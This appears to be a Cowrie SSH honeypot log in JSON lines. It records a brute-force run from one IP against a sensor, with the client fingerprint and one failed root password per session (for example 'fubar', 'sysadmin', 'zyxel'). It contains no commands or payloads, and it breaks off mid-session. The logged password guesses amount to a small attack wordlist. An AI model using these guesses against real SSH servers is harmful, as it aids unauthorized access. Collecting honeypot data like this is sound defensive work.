{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:28:27.863297Z","src_ip":"60.165.124.241","session":"d1214f7ae4a7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:28:28.101460Z","src_ip":"60.165.124.241","session":"d1214f7ae4a7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"fubar","message":"login attempt [root/fubar] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:28:28.819571Z","src_ip":"60.165.124.241","session":"d1214f7ae4a7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:28:30.065252Z","src_ip":"60.165.124.241","session":"d1214f7ae4a7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":52984,"dst_ip":"10.17.0.5","dst_port":22,"session":"8ac0aae85590","protocol":"ssh","message":"New connection: 60.165.124.241:52984 (10.17.0.5:22) [session: 8ac0aae85590]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:28:30.301024Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:28:30.306076Z","src_ip":"60.165.124.241","session":"8ac0aae85590","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:28:30.545094Z","src_ip":"60.165.124.241","session":"8ac0aae85590","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123567","message":"login attempt [root/123567] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:28:31.266273Z","src_ip":"60.165.124.241","session":"8ac0aae85590","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:28:32.510253Z","src_ip":"60.165.124.241","session":"8ac0aae85590","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":55996,"dst_ip":"10.17.0.5","dst_port":22,"session":"272e84ba0930","protocol":"ssh","message":"New connection: 60.165.124.241:55996 (10.17.0.5:22) [session: 272e84ba0930]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:28:32.761091Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:28:32.765653Z","src_ip":"60.165.124.241","session":"272e84ba0930","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:28:33.012771Z","src_ip":"60.165.124.241","session":"272e84ba0930","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"sysadmin","message":"login attempt [root/sysadmin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:28:33.754855Z","src_ip":"60.165.124.241","session":"272e84ba0930","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:28:35.006944Z","src_ip":"60.165.124.241","session":"272e84ba0930","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":59122,"dst_ip":"10.17.0.5","dst_port":22,"session":"4b12d111e676","protocol":"ssh","message":"New connection: 60.165.124.241:59122 (10.17.0.5:22) [session: 4b12d111e676]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:28:35.233714Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:28:35.239434Z","src_ip":"60.165.124.241","session":"4b12d111e676","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:28:35.479067Z","src_ip":"60.165.124.241","session":"4b12d111e676","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"quentin","message":"login attempt [root/quentin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:28:36.218343Z","src_ip":"60.165.124.241","session":"4b12d111e676","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:28:37.462924Z","src_ip":"60.165.124.241","session":"4b12d111e676","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":33950,"dst_ip":"10.17.0.5","dst_port":22,"session":"1255179fa3c9","protocol":"ssh","message":"New connection: 60.165.124.241:33950 (10.17.0.5:22) [session: 1255179fa3c9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:28:37.697689Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:28:37.701881Z","src_ip":"60.165.124.241","session":"1255179fa3c9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:28:37.939977Z","src_ip":"60.165.124.241","session":"1255179fa3c9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"stfu_and_calm","message":"login attempt [root/stfu_and_calm] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:28:38.659953Z","src_ip":"60.165.124.241","session":"1255179fa3c9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:28:39.901423Z","src_ip":"60.165.124.241","session":"1255179fa3c9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":36896,"dst_ip":"10.17.0.5","dst_port":22,"session":"f0b6fec5a50c","protocol":"ssh","message":"New connection: 60.165.124.241:36896 (10.17.0.5:22) [session: f0b6fec5a50c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:28:40.135752Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:28:40.140206Z","src_ip":"60.165.124.241","session":"f0b6fec5a50c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:28:40.378526Z","src_ip":"60.165.124.241","session":"f0b6fec5a50c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"zyxel","message":"login attempt [root/zyxel] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:28:41.098856Z","src_ip":"60.165.124.241","session":"f0b6fec5a50c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:28:42.342713Z","src_ip":"60.165.124.241","session":"f0b6fec5a50c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":39622,"dst_ip":"10.17.0.5","dst_port":22,"session":"b2adc8bb54a0","protocol":"ssh","message":"New connection: 60.165.124.241:39622 (10.17.0.5:22) [session: b2adc8bb54a0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:28:42.579009Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:28:42.583922Z","src_ip":"60.165.124.241","session":"b2adc8bb54a0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:28:42.823464Z","src_ip":"60.165.124.241","session":"b2adc8bb54a0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"pablo","message":"login attempt [root/pablo] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:28:43.545448Z","src_ip":"60.165.124.241","session":"b2adc8bb54a0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:28:44.789865Z","src_ip":"60.165.124.241","session":"b2adc8bb54a0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":42924,"dst_ip":"10.17.0.5","dst_port":22,"session":"bf3df85fde88","protocol":"ssh","message":"New connection: 60.165.124.241:42924 (10.17.0.5:22) [session: bf3df85fde88]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:28:45.038210Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:28:45.043282Z","src_ip":"60.165.124.241","session":"bf3df85fde88","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:28:45.289590Z","src_ip":"60.165.124.241","session":"bf3df85fde88","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"radio","message":"login attempt [root/radio] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:28:46.033159Z","src_ip":"60.165.124.241","session":"bf3df85fde88","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:28:47.281684Z","src_ip":"60.165.124.241","session":"bf3df85fde88","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":45836,"dst_ip":"10.17.0.5","dst_port":22,"session":"029e6b98fd88","protocol":"ssh","message":"New connection: 60.165.124.241:45836 (10.17.0.5:22) [session: 029e6b98fd88]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:28:47.503829Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:28:47.509130Z","src_ip":"60.165.124.241","session":"029e6b98fd88","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:28:47.751140Z","src_ip":"60.165.124.241","session":"029e6b98fd88","protocol":"ssh"}
